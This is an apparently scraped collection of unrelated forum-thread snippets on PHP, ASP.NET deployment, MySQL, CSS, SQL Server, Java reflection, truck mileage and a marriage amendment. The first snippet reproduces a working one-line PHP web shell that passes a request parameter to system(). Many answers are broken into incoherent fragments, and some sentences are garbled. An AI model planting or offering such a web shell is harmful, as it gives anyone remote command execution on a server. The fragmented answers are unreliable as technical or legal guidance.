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A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset...
Started by PHLAK on
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Via cPanel I was able to edit my....
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Thanks guys, your answers were great, but the answer was right under my nose the entire time.
My best guess (someone please correct me if im wrong), php probably issue.
Know you could do that.
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So, on my arcade, howlingdoggames.com. I have a points system that gives you a point every time you visit a page with a game on, now, to reduce abuse of this, I would like to make some sort of delay, so its only awarded after 45 seconds. Here's what i...
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Instead of blocking the script, save the current time in the session, don't ... .
You need to take a different approach, like remembering the timestamp of last visit and only add points if sufficient amount of time has passed since that .
No, not directly.
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If code contracts are used in an application then do we need to install anything (from Code Contracts package) on production server like putting assemblies into GAC or running code contracts installation package on production server?
Or just putting libraries...
Started by TheVillageIdiot on
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We used to use the "Publish" option in Visual Studio when we deployed a website .
Downloaded a trial for a charting engine, put the .dlls in my lib folder and added a reference to them in my web-project.
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When I enable trace, e.g.:
How badly this affects application performance?
Started by dnk.nitro on
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But in my case, the calls will be infrequent, so the small additional overhead will be worth.
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I know how amendmant one affects gay marriage. I know I voted against it but it still passed. Now I'm wondering after all the appeals and if it still goes through how will it affect my family?
I am a mother of three living with a man (not married to) ...
Started by ashes1205 on
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From my understand hearing others....
He was able to take my kids to the doctors and hospital.
I had him on my insurance.
There was so much recognized.
I really have no idea how it will effect your family.
I assume you live in N.C.
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Now I know how one can execute mysql queries \ commands from bash :
mysql -u[user] -p[pass] -e "[mysql commands]"
or
mysql -u[user] -p[pass] `<<`QUERY_INPUT [mysql commands] QUERY_INPUT
My question is : How can I capture how many rows where affected...
Started by theBlinker on
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V -v" as parameters to the mysql command forces it to be more verbose and it spits out how many.
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Suppose there are 10 CSS in the coding of a webpage. Now 5 of them are unused. How does this affect my webpage? Will it decrease performance? Will it impact security? What is the impact of keeping unused CSS on a page?
Started by Anand on
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On one hand, having the unneeded CSS will not affect your.
Technically, it will not affect the layout as they are unused, however it will make the site slower (and I assume all others) are built for speed.
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Is there a command I can run inside my SQL script so that it stops outputing information about each operation that gets run?
ie I don't want to see this:
(1 row(s) affected) (1 row(s) affected) (1 row(s) affected)
(Apparently this is in Experts-Exchange...
Started by Andrew Shepherd on
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But hopefully some day they'll offer "SET COUNT OFF.
And yes I know how it came to be.
It still grates.
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I drive a rwd 07 ranger 4cylinder 2.3 liter, I usually get about 22.5 mpg, I'm driving 750 miles with a motorcycle in my bed, it weight 530 pounds, how much will it affect my gas mileage?
Started by hrollin on
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530 lbs will make into the mountains....
Man its hard to say how much it will actually change your mileage.
I'm driving 750 miles with a motorcycle in my bed, it weight 530 pounds, how much will it affect my welcome.
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I have the understanding that perm size is used to store meta data, that would include byte code, static stuff etc.
My question how does usage of reflection affect the perm size, if it ever does. I mean if Program-A uses normal way of running objects ...
Started by Null Pointer on
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The method look of these Method objects.
The latter case has performance implications.
Edit 1: Providing That should be the only affect to perm size.
A .class file doesn't change based on how it's used.
To perform reflection on them.
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